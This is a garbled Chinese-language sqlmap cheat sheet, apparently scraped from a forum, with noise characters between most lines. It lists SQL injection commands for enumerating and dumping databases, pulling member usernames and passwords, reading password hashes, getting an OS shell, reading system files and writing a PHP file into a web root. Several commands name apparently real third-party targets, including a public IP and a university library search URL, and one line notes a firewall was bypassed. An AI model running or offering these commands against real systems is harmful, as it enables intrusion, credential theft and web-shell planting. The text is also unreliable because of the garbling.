/pentest/database/sqlmap- ]* U% ?7 p& E
/ W( C5 W; l5 P+ a$ o6 ^update :::::> in the folder after execute following order : svn update; P# s" t: X, F) a. F" n4 |
9 U8 J1 w# v# Y+ ^
sqlmap.py -r 1.txt --current-db; a( m$ o9 I9 r
/ H- ^/ M) n) y) z) H" P
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
) K; t- s$ t$ v1 l; T8 ~* \( Q4 ^* c* h
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
4 P, n g* ^( v- \3 V猜解数据库# T: V3 b1 ?# {. g. ^4 b
./sqlmap.py -u "injection-url" --dbs
* ^$ z. S8 d3 n/ Ysqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
7 E+ U! H- M3 K! b0 T5 g$ Z! ?
6 u) Q" y' Y2 Z4 L. D6 Y+ q" g, _猜解表名
; c/ r' C: x! w k8 x% w./sqlmap.py -u "injection-url" -D database_name --tables
- j* l! Y! A, @3 g& R$ W- [
~* ~1 _! Q1 M; w: M, ?, e0 o2 Esqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py". W& e- s, v) ?
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
1 I2 W- Z3 a9 b8 D
" R/ \0 @0 @6 q3 h/ d8 Z6 nsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
, W/ r n% e" {' Y' ^, a5 l
5 q3 ?- m0 v# S% U' R' W1 `sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
7 v: c7 `) t9 a, M! Rsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"2 U/ O( t9 C1 U, E& H
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" ! K5 f5 s/ f" T
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
# ?1 e S: g' `+ ^3 Y1 m/ B5 z! H6 x }# V8 e
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"8 ^! _; y" Y8 p' p5 N N
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"/ {0 G, H6 R% [! {
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"! z$ x: j x2 _) q& u# ~
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"! Q7 J, E* W# Q
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump( P8 U% O8 h( i/ `. |4 i# n5 k% {
3 k7 D! ^1 y0 ~! J/ E2 m
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
! s" m& o- o: K8 h8 asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py" i- O& F6 Z2 X) m) D7 G% P
4 V6 V. h. d6 Q6 `) d, U: H
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
9 g% t& p! _/ i猜解列名- `2 q9 l: r+ @. @& N5 `
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
3 `( A- L* i) p+ E5 P: p
" m2 d- t; k/ Q% P7 L. M5 g, c3 vsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
: f9 h l2 n+ l+ Ksqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 3 [$ F+ m! O" t8 B4 L7 g
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"$ m7 f# b, m. R# ~" m7 O* U
* J9 G1 c" N7 {8 @0 d9 Y
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"7 e2 n# w+ c5 I9 `2 B8 L. \
&submit=Go; w0 Z0 g+ x) f% {1 |+ o
猜解值
$ W$ @* B( F0 F& H./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
: B0 y! `. |1 N========================================================
( J0 d; m) O0 D3 t) q) e搜索表名中包括mana字符的5 J& @6 d# P3 C
/sqlmap.py -u "injection-url" -T mana --search) I" I" l) Q& v- j! n9 |' f
返回一个交互式sql shell& _2 c3 \/ W6 B) ^
/sqlmap.py -u "injection-url" --sql-shell& F, G* n J2 }% d) C; @/ k( C
读取指定文件(需权限)
4 }% L# I- R4 Y7 \! Y+ l& q/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
* \8 b! e( f2 y; v' C查看当前 用户 及 数据库 * R) D1 E# ]" R# Q; X# {
/sqlmap.py -u "injection-url" --current-user --current-db
1 `, A: w& A* G7 O# w本地文件 写入 远程目标绝对路径
9 O' e- k8 k8 w, l, L$ s; A7 I: {/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
4 J) X" G5 q7 }( S6 e+ g( Tsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
9 z; F5 l4 K9 R2 ?% d: M9 w+ o
: @: h' d7 ~/ ?# U$ wsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
/ z& |0 m+ J( y9 ?6 n% G s查看某用的权限4 J, n U6 V/ }) |# H
/sqlmap.py -u "injection-url" --privileges -U root6 x ~. |, t" t; G
查看当前用户是否为dba
, M. K' c- j/ o9 g+ F/sqlmap.py -u "injection-url" --is-dba
( {2 C' p2 I3 j f6 K- c O, R, _读取所有数据库用户或指定数据库用户的密码
6 H' d6 p( ^3 P* h4 c* {$ usqlmap.py -r 1.txt --users --passwords" V: c# n( B! A5 v
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
! F* I7 t( L4 D
/ ?) ~7 k& o5 R0 [' V( j6 i/sqlmap.py -u "injection-url" --passwords -U root
7 w1 W' ?* {) w% f D# T E3 [1 B5 ^) i" V$ S* G' n& |! J7 Y; P
--start&&--stop 与 --first&&--last 的区别6 C2 V$ _2 [$ N
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
! p0 T, g1 i1 ?: q0 G* c5 S9 C8 F
$ G. Z' k# k5 J/ X; s0 ]从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)- d$ b9 O3 A% T7 g" q
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
$ H; T2 e" x3 X, ~" Y+ o- N$ c# }: v/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
) \6 W4 c- z/ r4 V. R' n
( f( G" S& U# ~5 |6 h$ r& s执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
|1 p* T# P6 S! P, X( b7 h/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"$ U3 ?( ^" y- l$ E& |& s$ J
" f* M4 X0 S4 b) R4 k! [/ S: x |